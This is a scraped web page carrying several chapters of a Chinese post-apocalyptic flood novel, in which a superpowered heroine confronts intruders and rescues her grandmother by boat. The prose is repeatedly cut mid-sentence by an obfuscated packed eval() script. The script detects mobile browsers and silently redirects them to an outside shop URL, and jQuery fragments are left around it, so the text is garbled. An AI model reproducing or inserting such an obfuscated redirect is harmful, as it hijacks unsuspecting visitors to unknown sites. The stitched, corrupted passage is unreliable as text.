;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644140|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眼里的阴狠满溢，手一抬，从手心射出一道蛛网，牢牢黏在天花板上。 手上一拉，萧顺清被掀翻在地，黑衣男弹射而上，贴在天花板上。 “好！”另外两人哈哈大笑，等着看这几个不知天高地厚的家伙震惊破防。 “臭丫头，还以为这是什么拼刀拼枪的时代呢？异能，才是存活下去的唯一方式知道吗？” 门外，因为大门被破坏，所有人都挤在门口，一部分人已经进入了屋门，将黑衣男像蜘蛛一样贴在天花板上的动作看得清清楚楚。 “天哪！那是什么？超能力吗？” “是超人吗？” “蜘蛛侠……” 然而，在三人嘲讽期待的视线里，萧顺清冷静地爬了起来，没有因为亲眼见证异能有丝毫波动。 毕竟看见他们破窗进入十六楼，这种能力在她预想之中。 “你们呢，又是哪里来的垃圾，也有异能？” 另外两人冷笑，并不答话。 但实际上，看见显然是一伙的四个人，一个都没有震惊于异能的存在1. 这么倒霉？她们里也有异能？ 萧顺清笑了一声，不管三人，冷静下来之后，顺手打开了卧室的门。 她先前扑过来，正好落在房门口。 卧室里一览无余，没有人。 她彷入无人之地，又紧接着打开另外一扇门，空空荡荡。 “还找呢，以为我们会留着她们？这种老家伙，吃都嫌老，留着吵我们睡觉吗？” 萧顺清的手紧了紧，却没有说话。 她不应该跟他们废话，如果真的一切都无法挽回，她会想办法报仇。 但是万一还有余地呢？她可以打听到消息再弄死他们。 萧顺清的眼里闪过冷意。 但面上却平静道：“你们是把她们怎么样了，赶出去了，还是杀了？” “应该不是赶出去了吧，我从一开始就在这儿了，没看见这里有老人家出门。” 吃瓜群众在门口讨论，声音传入萧顺清耳中。 她浅浅呼吸几下：“说话啊，怎么，都是哑巴？难不成你们害怕如实说了会被我搞死？” “你几斤几两在这儿张狂？” 黑衣男在上面贴久了，终于落了下来。 说完便被一根绳子抽打一下，不疼，侮辱性很强。 被忽略的三人走到萧顺清身边，道教徒走得较慢，却还是跟紧了。 “这位，男士，我觉得你还是把这件事解释清楚，不然贫道实在是看不过眼了。” “啥玩意，你不是和尚吗？” 发出必然一问，萧顺清直接打断，省得他们纠结于这个话题。 “够了，我只想知道她们的下落，你们把事情说清楚，我不会打扰你们，你们爱在这儿待多久就待多久。” 22.逼迫 黑衣男见她们四人没有一个怕他的，原本就觉得颜面尽失。 现在萧顺清说的话可并不客气。 自从有了异能，他到哪里都被高看一等。 被一个小丫头这么不给面子…… 他隐晦地看了看另外两人。 转头对着那抱团的四人： “你们想知道，但我不想说，要知道那两个老家伙的下落，就看你们有没有这个本事了！” 萧顺清心中觉得极其荒谬。 大洪水来临后，她也算是见识过人性慢慢堕落的各种样子。 但是没见到一次，心中都格外复杂。 萧顺清冲陈师望勾勾手。 陈师望在自己身上掏了掏，拿出两把玩具枪来。 黑衣男和他的同伴哈哈大笑起来： “原来不是小丫头，是小丫头片子，还玩玩具枪，不会是还没断……” 枪在交到萧顺清手上时，瞬间变大十倍不止。 与此同时，萧顺清对准黑衣男同伙后的大理石茶几，砰的一声。 从枪口迸射出脑袋大小的塑料子弹，将大理石茶几砸得四分五裂。 见他们三个终于鸦雀无声，萧顺清用枪指着除了黑衣男之外的一人。 一个并不高大的女人抱着一个玩具枪，如此滑稽的一幕，却让天性爱笑的三人终于笑不出来了。 “别再废话了，她们被你们怎么样了，我再问最后一遍。” 被枪口指着，男人哆哆嗦嗦，他可没有比大理石更坚固的身体。 “我们，我们就是把她们都扔出去了，没死！她们肯定没死！那个老太……那个奶奶有种东西，可以飘在水面上，我们还扔了些吃的给她们，真的！” 他的话肯定美化了不少，但是萧顺清觉得爷爷奶奶没死应该是真的。 可以飘在水面上，如果是帐篷的话，这些人应该会直接说漂浮帐篷吧。 所以，奶奶是有了异能？ 萧顺清的心里充满了喜悦。 太好了，如果奶奶真的有异能的话，她们一定能够再次见面。 萧顺清心情愉悦，却没有表露给三人知道。 她依旧举着玩具枪：“你们觉得我会全信？你们怎么对她们的，一字一句，都给我说清楚。” 黑衣男一咬牙，不知从身体哪个地方弹出一张蛛网，将玩具枪抢了过去。 “你们这群废物，有枪又怎么样？心慈手软！我就再告诉你们多一点，那个老头已经死了，哈，我可不像你们这么善良。至于那个老太婆，哼，她确实弄出了一个透明的罩子，但是那又怎么样，她敢从罩子里出去找吃的吗？哈哈哈，早就被饿死了吧！” 萧顺清的内心再次被愤怒占据，如果一开始就知道两个老人家可能遇难，经过这么多天的忐忑不安，她一定会伤心，但不会像现在这么愤怒。 因为这些人，刚刚给了她希望，现在却又…… 黑衣男把玩具枪对准了萧顺清，可萧顺清仍旧没有一丝害怕，因为在他猖狂得意之后，他突然发现，手上的玩具枪变成了真正的小孩玩具。 陈师望怎么可能把这种杀伤力的武器交给敌人。 事已至此，眼看着萧顺清跟这三人不可能善了，陈师望也做好了准备。 她们带的东西不少。 能用做武器的，除了玩具枪，还有三人都拿着的刀。 黑衣男脸色铁青地看着玩具枪变回原样，萧顺清又拿出一把刀，还变成大砍刀的样子。 他脑子迟钝，这会儿才反应过来，玩具枪不是什么特殊武器，而是三人中一个人的异能。 萧顺清：“现在才意识到吗？这么蠢，就算是活着，也对这世界没有一点好处吧。” 她竟然直接挥动着那长逾一米的大刀，直冲黑衣男面门砍去！ 黑衣男大惊失色，连忙使用蛛网将自己拉到房间另一角。 萧顺清拖着大刀冲过去，黑衣男见状想要故技重施，将蛛网粘在刀上，意欲抢夺。 萧顺清却掏出另外一把小刀，轻轻一划，蛛丝便破了一个大洞，根本拉扯不了。 刚刚见到黑衣男，就发现他身上有白色絮状物，那根本不是棉花，而是蛛丝。 会被蹭到身体各处，就说明这蛛丝可不像电影里的那样坚不可摧。 萧顺清一刀切断蛛网连接，动作不停，一路挥刀向着黑衣男而去。 另外两人见状，想要上前帮忙，一个被陈师望用绳子套牢，拿着板砖一样硬的面包威胁要砸破他的脑袋。 另一个被苏凤晚用刀背劈了背部，痛得在地上直打滚，苏凤晚便顺势用刀横在他脖子上，像是个闸刀，只要他动弹一下，随时都会被斩断脖子。 萧顺清一个人对上黑衣男。 尽管黑衣男有吐出蛛网的异能，却并没有刀枪不入水火不侵。 他还是个肉体凡胎，被萧顺清逼得无路可走，一直被逼得缩到窗边。 这窗子破了大洞，风雨交加之下，地面上都是落进来的水。 黑衣男手撑着碎玻璃，一时想不起来自己该怎么办。 他抬手射了蛛网在天花板上，萧顺清顺手一劈酒阻断了他的去路。 “就算是有异能又怎么样，没有脑子的家伙，是不是喂鱼来得更好？” 萧顺清冷冷笑着，刀面横在两人中间， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656493|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另外一把刀指着黑衣男的面部，几乎要戳破他的眼睛。 “现在，跳下去。” “你不是有蛛网吗？能像蜘蛛一样爬上高楼，能不能用蛛网浮在水面上呢？” 黑衣男眼里闪过震惊，他可没有考虑过蛛网还有这种用法。 毕竟不敢尝试，失败就死了。 萧顺清却想要知道，如果黑衣男能够顺着水被冲走，她是不是能够顺着黑衣男的流动找到奶奶可能存在的地方。 同样是一个人，同样的高度和位置坠落，几率会更大吗？ 她逼视着黑衣男，强迫他跳下去。 黑衣男咬牙，心一横，竟然真的从窗户那里跳了出去。 但是很遗憾，萧顺清真的觉得很遗憾。 黑衣男刚在水面铺上一层蛛网，就被水流席卷，他那速度，根本控制不住自己爬上蛛网待着。 真的很废物。 萧顺清沉默着，转过身却发现在场的所有人都看着她。 眼神或惊讶或害怕。 害怕的路人甲乙已经退出了房门，屋内剩下的人，只有那两个被压制住的男人显得格外瑟缩。 “饶命啊！饶命啊！放过我吧，我就是个普通人，我也没有想害死你家里人，真的，就是他，他逼着我做的，我还给那个老奶奶扔了吃的！我说真的！” 在苏凤晚刀下，男人努力求饶。 他真的害怕了。 萧顺清真的敢把人逼着跳下水。 那跟直接杀人有什么区别，他们之前这么做不觉得有什么，轮到自己身上，却害怕遭遇同样的对待。 苏凤晚沉默着，踢了他一脚：“别说废话，你要是知道奶奶去哪儿了，说不定还能饶你一命。” 她是见证过萧顺清将高民三人迅速处理掉的，也是如同现在这样，没有亲自下最后一刀，却绝不手软。 陈师望没见过萧顺清这样子。 要知道，他加入之后，萧顺清虽然性格冷淡，却因为已经度过最崩溃的时候显得平静而笃定。 一开始，她还救了他。 所以眼下的情况对他而言极具冲击力。 陈师望看着萧顺清，不知道该说些什么。 他控制住的男人绞尽脑汁，终于想出自己的一条生路。 “我！我好像看见有人把老太太救到那边的楼里去了。真的！是有人把她捞上去了！” 萧顺清盯着他：“你不会是在骗我吧，哪一栋楼，什么人救的？说清楚。” “真的，真的我保证，就是向阳楼，当时我看了两眼，太远了我也看不见是什么人救的，但是那个透明罩子确实被人拉进了大楼里！” 23.向下 向阳楼与这里直线相隔两百米左右，倒也不远。 萧顺清看着两人哭着求饶的模样，嗤笑一声：“我还以为你们能够杀人的胆子很大呢。” 刀下那人连道：“没有，没有，那个老太爷，也不是我们动的手，是强哥，就是刚刚掉下去那个，我们也是没有办法啊！” 死无对证，萧顺清没有功夫来设公堂。 她再次探头看看窗外，约莫还有四五层楼的高度，跳下去不是一个好方法。 “陈师望，苏凤晚，把他们绑起来，我要让他们带路。” “从这儿直接走吗？” 陈师望指了指窗户。 “嗯，挤不下去了。” 说完，她看向那个道教徒。 进门多亏了他帮忙，而且进入房间后他站在自己这边，也算是增强了她的气势和底气。 于是她问到： “多谢，有什么我能给你作为回报的？” 她们身上的东西此时一览无余，都是些武器和工具。 道教徒摇了下头：“小事，但是……如果可以的话，能不能留这两人一命。” 萧顺清沉默了一会儿。 道教徒以为这就是回复，他叹了一口气，不知道比了个什么手势，也许是道教的什么印。 配上那个光头，当真是慈眉善目，悲天悯人。 萧顺清看了他一会儿，突然拍了拍苏凤晚和陈师望。 二人莫名其妙，在萧顺清的目光示意下，看向了正闭着眼睛念叨着什么的道教徒。 六目相对。 默契在此刻发挥了作用。 萧顺清确认无人反对，她向道教徒提出自己的建议。 “我可以答应你，但是，你要怎么确定我遵守了承诺呢？” “我见你不是出尔反尔的人。” 萧顺清笑了一下，不说话却递给苏凤晚使了个眼神。 苏凤晚挪到道教徒身边。 “那可不一定，你刚刚也看到了，人一上头什么都做得出来，我们可拦不住她。” 道教徒：“……你们想说什么？让我跟你们一起？” 萧顺清痛快点头：“没错，但是，如果你在待在这儿是要做什么重要的事，我们也不强求。” 陈师望将绳子绑好，也说了几句劝他加入。 眼下水上涨的速度是慢下来了，但是人们困在楼房内，食物总有吃完的那一天，或许，还会像之前周莹看见的那样，强大的暗流将建筑物冲断倒塌。 困在这儿，只是等待某一天会降临的死亡而已。 道教徒看着她们三人，目光最终落在冷静从容的萧顺清身上。 她刚刚得知了自己亲人离世，然后报了仇。 眼下却丝毫看不出刚刚那情绪剧烈起伏的样子，平静地接受已经发生的事。 她们坚信，离开比留下好。 道教徒最终松了口。 他似乎笑了下，道了声：“听天由命，顺其自然，看来我的命不该绝。” 行动自如的四人达成共识。 苏凤晚很快行动起来，将屋子里搜挂了一边，吃的喝的都没有多少。 喝的不用操心，但是吃的……两老应该是没有屯零食的习惯，少有的一些过年礼品之类的也被三人吃得差不多了。 “还有红薯！” 萧顺清看过去，恍惚中又险些花了眼眶。 两位老人其实经常去乡下，她们都是农民，被儿孙接到城市里来享福，却也闲不下。 总是偷偷跑回乡下种东西，这么大的年纪，说了就会笑着打哈哈，说自己种得不多。 这回她们估计又种了些农作物，辛辛苦苦背到市里来，囤着准备吃上好久。 那些红薯放在厨房的柜子里，保存得很好，但天气太过潮湿，有些已经烂了，还有些发了芽。 苏凤晚欣喜极了。 红薯在这种情况下都能发芽，那岂不是说明她们的种植计划有了新的作物可以尝试！ 太好了！ 她专挑那些有芽的，挑出来五个，用撕碎的布料绑在身上，她就像是个人型花架，腰身一圈都长着红薯。 剩下三人也没有闲着。 这地方回不来了，吃的不能浪费。 尤其是红薯这种好东西。 容易发芽，有芽块就能生长，叶子还能吃。 眼下没有干燥的地窖，谈不上储存，但是万一很快就有可能了呢？ 现在不就有一个专门的种植区，等以后船的规模大了，还能有种植房。 道教徒从众，而且他力气大，找到一个背篓之后，将没烂的红薯都装了进去。 看着厨房里还剩下些油之类的，他也带上了。 “水不用吗？” 他指了指饮水机上的桶装水。 苏凤晚干脆摇头：“不用，淡水我们多得是。” 既然都已经决定加入了，这种话听起来就格外安心顺耳。 很快，四人都判定没有什么东西可带了，将那两人绑在最下端，慢慢往下放。 一艘船从远处飘过来，上面堆着许多物资，还有一个女孩。 顺着绳索，那两人先放下去。 周莹先是被这五花大绑的姿势吓了一跳，然后传音给陈师望问发生了什么。 陈师望简单解释两句，便让周莹自己小心。 “放心。” 周莹年纪小，却也知道轻重，看着那两个人安心等待着她们从楼上下来。 楼栋里，四人准备相继离开时，外头的人却沸腾起来。 “你们要走？带上我好不好，救救我吧！我不想待在这儿了！” “救救我们吧！你们怎么能见死不救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666714|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢？！” “她们有船！她们有船！” …… 人本身就是动物。 在动物密集的草原放上一颗炸弹，会让整个群落沸腾。 此时的楼栋里就是如此。 萧顺清皱着眉，让道教徒和苏凤晚先下去。 专业索降她们不会，但是拽着绳子，让陈师望延长绳子就很容易了。 但是仍旧有一点，绳子可以同时承载四个人，可难免这些人看见她们有船之后起不好的心思。 道教徒不同意自己先下。 “你拦不住她们，我殿后吧。” 说着，他已经扛着沙发堵门，将涌进来的人都推了出去。 她们就算挤进来也只是徒增伤亡，萧顺清她们不可能再救人上船。 苏凤晚已经下落得差不多，萧顺清将船的位置调整拉近，苏凤晚顺利落在船上。 萧顺清看着道教徒，面对自己未来新的同伴，语气并不生硬。 “那就一起下去。” 陈师望一拉他：“走吧，不要耽误时间。” 三人到了窗边，道教徒要最后一个下，因为想不出来萧顺清能有什么办法安全殿后。 “最后留在上面的人很有可能会直接摔下去。” “你在最后也不能起作用。”萧顺清见他这么固执也觉得头疼，“有点后悔邀请你上船了。” 没想到真的是个犟种。 陈师望拉扯他：“快走吧，上船的第一守则，听她的。” 她就是船长，不听她的听谁的。 眼看着沙发已经快被人群挤压倒，道教徒也不再固执，顺着绳索，几乎是几秒时间，两人便落了一半。 萧顺清也迅速爬到窗外，顺着绳索向下降落。 虽然先下去的三人没有说，但绳子磨手，她们不约而同选择用双腿夹着绳子，手臂抱住绳子下坠。 陈师望很快在末端喊着： “到头了！” 就是不能再延长绳子的意思。 这也是他异能的极限。 此时她们三人都已经稳稳下了船，萧顺清则还有大概一层楼。 绳子失去底下重量之后，萧顺清感受到了晃动，有人在楼上拉绳子，还有想将她向上拉的。 萧顺清蹬了一下墙壁，让自己身体腾空而起，看准落点，萧顺清飞身而出。 偏了。 没事，她落的位置可能不准，但是船准。 背部落在船上，疼得龇牙咧嘴。 然后她发觉在场有些安静。 “怎么？” 周莹眨眨眼，由她来“悄悄”告诉萧顺清，她们在想什么。 上一秒看见萧顺清那么飒地起跳，她们还以为会是完美一跳。 至少落地姿势要帅。 落地并不帅的萧顺清：“……” 24.抵达 萧顺清上船后，绳子很快就被收了上去。 其他几人随着船开走便很快转移了注意力，道教徒却回头看向楼上，似乎在确认什么。 楼高十几米，他视力再好也看不清，只觉得楼里探出身子的人像极了池子里被喂食的鱼，仿佛要将人的手也一并吞了。 船上多了一个人，但她们也只互相通了姓名，很快便到了向阳楼。 这里同样在上层楼中聚集了很多人。 那沉闷的痛苦看一眼好像就会被拉入其中。 如今萧顺清的船勉强成规模，船上五个人各自坐在一边，也不用挨挨挤挤。 就算是加上那些物资也并不觉得狭小。 到了向阳楼可见的范围，发现这艘船的人惊讶于它在洪流中还能平稳行驶，同时也希冀自己能够登上那艘船。 船上有吃的有喝的，还有遮雨的棚。 一切都比她们困在楼栋里要好。 萧顺清开着船，绕着向阳楼转了一圈，没有看见老人家。 很快，萧顺清拿着一个大喇叭，其他几人用手放在嘴边大喊萧顺清奶奶的名字。 沈金兰，今年65岁，已经是个白发苍苍的老人家，洪水来临后，原本住在十六楼，也许久一点就能够等到国家的救援。 她这个年纪的人，都很信任国家。 但是两天前，她们家里来了三个不速之客。 从窗户中爬进来，比洪水还要让她们觉得害怕。 老伴被一个男人打死，扔到了水里，也许是被鱼吃了，但她看不见，只知道那人和洪水都在吃人。 那三个人还把她也扔下了水，幸好，她不知怎么的，身上就多了一个透明的罩子，雨进不来，水也进不来。 她也出不去，不敢打开罩子，不然就会被水淹死了。 一只年轻女人的手悄悄伸了过来，钻进她手中，给了她一颗糖。 沈金兰抬头，扎着马尾的姑娘并不看她，但手上的糖不是假的。 两天前，她在透明罩子里不知所措的时候，是这个女孩子救了她。 “谢谢你。” 年轻女人并不在意，只是比了个噤声的手势。 她们这儿的状况并不算好，很多人挤在楼道里，没有吃喝，许多人已经到了忍耐的迹象，就差一点引火石。 忽然间，这栋楼里骚动起来。 年轻女人站起来，她们都听清了那些人在说什么。 外面有一艘船。 沈金兰扶着墙站起来，她的脚麻了，两天缺吃少喝，耳朵却依旧精明。 是顺清！她孙女！ 沈金兰想要挤出人群，可是她没什么力气。 头晕眼花，天旋地转，她恍惚觉得可能自己是死了吧…… 就像是老话常说，人在临死之前听见看见自己想见的人，还有的说，是自己最亲近的人来接引去阴间。 前面她能接受，可是后一种她真的…… 怎么会是顺清呢？ 顺清比她先走吗？ 一双手扶住她：“怎么样，没事吧？” 这声音将她拉回了现实，她咽了咽口水，终于再次听见萧顺清的喊叫。 是真的，不是死前听见的叫魂！ 她抓着年轻女人的手，看着她：“我想出去看看。” 年轻女人皱起眉心：“现在外面很乱。” 沈金兰不知道该怎么说，她怕给好心人带去麻烦，但那是她的顺清。 她脸上的神情被女人看得一清二楚。 一个老人家露出这样的神情，她皱着眉想了一会儿，想到什么，眼底的神情变得轻松起来。 “我先去看看，你在这儿等一会儿。” 她比老人身体更健壮，但整体身形不胖，很快挤到窗边。 外头的洪水已经不能吸引她的视线，让她惊讶的是那里有一艘船！ 并不是能够承载许多人的大船，却在这样的风浪中都没有翻船。 那船上的人喊着一个人的名字。 女人心里转过几个念头，又回到沈金兰身边。 “那是你的亲人？” 她们小声交谈，沈金兰因为被她救过所以很信任她。 “嗯。” 年轻女人露出一抹笑意：“好，那我带你过去。” 沈金兰和她手牵着手，几乎是被女人全程护着下了两层楼。 她们这儿只有三层楼还露在水面上，最末层的人最绝望也最多，两人挤不出去了。 “你在窗口，要是看见她们了，就喊话，应该能听见。” 除此之外，女人脱下自己的红色外套，在窗边挥舞着。 她们没注意到，有人的视线看了过来，但或许是以为普通求救，并没有人怀疑她们。 “那船不会开过来的。” 有人心里这么想。 那不是一艘救援船，就算是，那船也坐不下那么多人。 真是恶心，明明不会救人，却还是炫耀一样在她们这些落难者眼前晃悠。 萧顺清紧盯着楼层，没有放过一丝细节。 终于她在一个个挥舞着的手里，注意到那抹红色。 窗口，一位老人是那么眼熟。 她激动得站起来：“奶奶！” 沈金兰拼命挥舞着手臂，年轻女人也帮助她吸引萧顺清的视线。 “她们就在那儿。” 萧顺清确定了，船也调整角度很快靠近。 “现在怎么办，奶奶能往下跳吗？我们绝对不可能安全上楼。” 此时的人群因为看见了船变得极度疯狂，她们中任何一个就算是李自—— 那个道教徒。 也不可能全身而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678559|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退，他是有巨力，并不是刀枪不入。 李自：“要是再近，会有更多人不顾一切往下跳。” 她们又无法碰到船，那样的尝试只会让更多人在她们面前死去。 萧顺清对周莹道：“拜托你了。” 周莹压低身体挪了过来，在萧顺清身边做好，看着窗口处的沈金兰。 她试了试，连接成功。 周莹对萧顺清点点头，在场所有人都松了一口气。 “奶奶，你别怕，我是顺清。” 周莹原封不动传了话，然后补充：“这是只有我跟你能听见的传话，奶奶你不要让别人知道，你想说什么就在心里跟我说。” 沈金兰听见耳边的声音确实被吓了一跳，但人老成精，她很快镇定下来。 “顺清，是我，我要怎么办？” 萧顺清：“奶奶你是不是有一个异能？” 交谈之后，萧顺清确定了救下沈金兰的计划。 她使用异能，在跳出窗口后展开罩子，萧顺清会控制船拦住随波逐流的防护罩。 但是，沈金兰犹豫了：“顺清，有一个女孩，她救了我，船上还能够再加一个人吗？” 她并不是没处施舍善心的老太太，但是身边的年轻女人确实救下了她，还给了她吃的。 如果有活下去的机会，她却问也不问，过不去心里那关。 但是孙女跟其他人在一条船上，她也不想让孙女为难，幸好，这问话只有她们两个人知道。 负责传话的周莹：…… 她犹豫了。 船上还能再多一个人吗？只要她此时瞒下萧顺清，就不会有人发现。 每个人都会有私心。船上多一个人对她来说没有好处。 或者说对船上所有的人来说都没有好处。 物资是有限的…… 周莹握紧手，心里的念头几经辗转，却也不过一念之间。 她在纸上写出了沈金兰的请求。 让其他人一起决定吧，这样才公平。 萧顺清眼神微颤，此时的她并不适合第一个开口，因为无论说什么，都太有导向性了，其他人不会违背她的想法。 剩下几人面面相觑，都不敢做第一个出声的人。 除了李自。 “船上，位置还够吧。” 这句话将所有人的心思引向同一面。 是啊，位置还够。 救过萧顺清的奶奶，这也许就是缘分呢。 不约而同没有考虑物资的事，也许是因为目前还没有走到绝境吧，至少当下她们都同意了让另外一个陌生人上船。 沈金兰很快收到回复，她压低喉咙，欣喜地道：“姑娘，一会儿我先下去，然后你看准时机，跳下来。” 年轻女人忍不住抓紧了沈金兰的手，才能够控制住内心的狂喜。 25.未来 计划执行得很完美，没有出现任何差错。 沈金兰跳下窗口，年轻女人还帮忙扶了一把，让她跳得更远，别磕到墙壁。 等到小船顺利拦截防护罩，她等了一会儿，小船依旧在窗口徘徊。 她欣喜难耐，跃上窗台，可还没等她调整好位置，就有一道猝不及防的大力将她推了出去。 没有调整好位置起跳，她整个人失去平衡砸向水面，身上被水撞得要散架，眼看着要被水流冲走，幸好船拦住了她。 难免呛了几口水。 她便咳嗽边感谢：“谢谢，谢谢你们让我上船。” 此时，窗口不停有人呼救。 “还有我！” “我！我也要上船！你们接住我！” 许多人大喊，看见小船还会接跳下去的人，不管三七二十一就直接往下跳。 她们以为船会救起她们。 但船上只是安静了一会儿，便直接驶远。 楼内的人破口大骂，那些动作快的，连骂都没法骂出口了。 萧顺清紧紧抱住奶奶，许久都开不了口。 那些情绪在见到亲人的一瞬间迸发出来，可她向来是个内敛的性子，竟不知该如何表达。 眼底的泪终究胀红了眼，可喉咙里却像刀片顶着，什么也说不出来。 沈金兰流下眼泪，干瘦的手抚着萧顺清的头发：“活着就好，活着就好。” 萧顺清重重闭眼，声音几不可闻：“奶奶，谢谢你还活着。” 谢谢你还活着，让无根漂浮了这么久的心终于有了归处。 她不是想回家，只是想再见到家人。 “可惜你爷爷没能……”沈金兰哭得上气不接下气，萧顺清抚着她的背。 萧顺清甚至不能如她一样放声大哭，因为事已至此，她们活着的人只有接受，若是她再哭下去，老人家恐怕更收不住悲伤的心。 没有人能够抵抗生命的失去。 船静静航行。 船上的长时间飘荡让所有人少言寡语。 或者说，其实大家彼此都是陌生人，只是从今往后可能就要“相依为命”。 虽然上船不久，但李自没有太拘谨，问过苏凤晚之后，他得到了一根红薯和一个面包，外加一瓶水。 之前在楼里，他除了一开始随身带着点东西，后来都没得吃了。 刚刚因为大家都在忙着救人，气氛严肃，他也没打扰众人。 现在就能放心吃了。 年轻女人肚子咕咕作响，但只有她自己听见了。 “大家好，我叫丘莲，今年29岁，之前是个幼儿园老师。” 众人点点头，也报上自己的名字。 其他人也终于知道了萧顺清奶奶的名字。 这位已经年近七十的老人，头发花白，尽管眼睛通红，但终于见到了孙女显得精神头不错。 萧顺清拿了一个面包，分给沈金兰，丘莲也拿到了吃的。 她狼吞虎咽，吃相并不好看，很快被噎得直捶胸口。 苏凤晚和她年龄最接近，下意识想要散发善意，给她倒了一碗水。 丘莲笑容亲切：“谢谢，谢谢。” 另一头，萧顺清身边终于坐了一个人，是沈金兰。 尽管没有说话，但两人天然的关系还是让船上众人能够看出她们的亲近。 在人痛苦时，彰显自己的幸福也是种残忍。 虽然萧顺清已经收敛情绪，但在场亲人失散的人还是觉得难过。 周莹不知不觉红了眼眶，嘴里含着一块饼干，却怎么也咽不下去。 船上现在5女2男，总数七人，还没有达到萧顺清所说的八人极限，但最大承受量是一回事，最佳承受量是另一回事。 船上的位置显得有些拥挤。 “把暂时用不上的东西装进塑料瓶里，绑在船两侧。” 萧顺清的规划让船上的空间变得更加合理。 除了卫生间，种植屋，还有一个储存优质食物的房间经过细微调整，位置以及高度都更加合理。 船顶依旧牢牢扎着防水布，使得布料下方看着黑洞洞的，但没有被雨水拍打，是最安心的地方。 沈金兰是个老农民，对红薯的栽种自有心得。 她和苏凤晚共同管理种植的事，除此之外，苏凤晚还要兼顾后勤，记录每日消耗用品。 陈师望变相为船增加了容量，李自并不能改善船上的生活质量，但他的神力却让众人觉得更加安心。 周莹自不必说，大家都希望她能在升级后得到更强的通讯能力。 丘莲并没有异能，所以，她暂时在苏凤晚那儿帮忙。 船上目前就她没有异能，苏凤晚还在心里猜测她是否会觉得不平衡。 但没想到的是，丘莲这个人很有意思，似乎将自己的位置放得很低，尽管她们没有高人一等的想法，丘莲却将她们视作大腿。 具体表现为处处讨好，谁都能夸上两句。 面对众人或多或少的不适应，她很坦诚，也许是觉得让别人将她看清楚一些，她反而更能获得信任。 她坦言：“其实我救下沈奶奶并不完全是出于好心，我亲眼看见她有异能，所以，我想，异能者再怎么样也比普通人更容易活下去，我只是想多一些生存的机会罢了。” 坦坦荡荡的利益索求，反倒比演出一副善心爆棚的样子更让人安心。 这样的想法很正常，为了自己的利益争取，运用自己的能力达成目的。 这过程中没有损耗其他人的利益，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687761|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是为自己竞争活下去机会而努力。 没有人会真的讨厌她这样的行为，但是有人实在不适应她说两句就会透露出来的赞扬，跟她说了两次，她也尽量收敛了。 毕竟她是想让人开心，又不是专让别人膈应。 作为一个非异能者，她有别人没有的考量。 船上显然是女多男少。她表露出亲近女方势力更加稳妥，而且她本身就是女性，这样做也不会让两边生出嫌隙。 而女方里，她原本的关系挂在沈金兰身上，但是人家有孙女，还是这艘船上话语权最大的萧顺清。 她觉得可以保持良好的关系，但是更近一步就危险了。万一萧顺清误会她想跟她争奶奶…… 周莹似乎跟谁都搭不上关系，是个没有话语权的小朋友，苏凤晚对她的态度友好，但是更听萧顺清的话。 甚至在她示好时刻意保持距离。 她脑子灵活，在苏凤晚的角度上琢磨，要是她是苏凤晚，已经得到萧顺清信任的情况下，也不会跟别人的关系走得太近。 有没有那个想法不重要，但是跟船上其他人更亲近的人，萧顺清当然不会另眼相待。 丘莲倒是也想走萧顺清这条路，那不是要得罪苏凤晚吗？ 选来选去，她觉得周莹最安全。 周莹的话语权看着少，但船上没有人会觉得她不重要，同时，她要是跟周莹关系搞好了，别人也不会觉得这是个威胁。 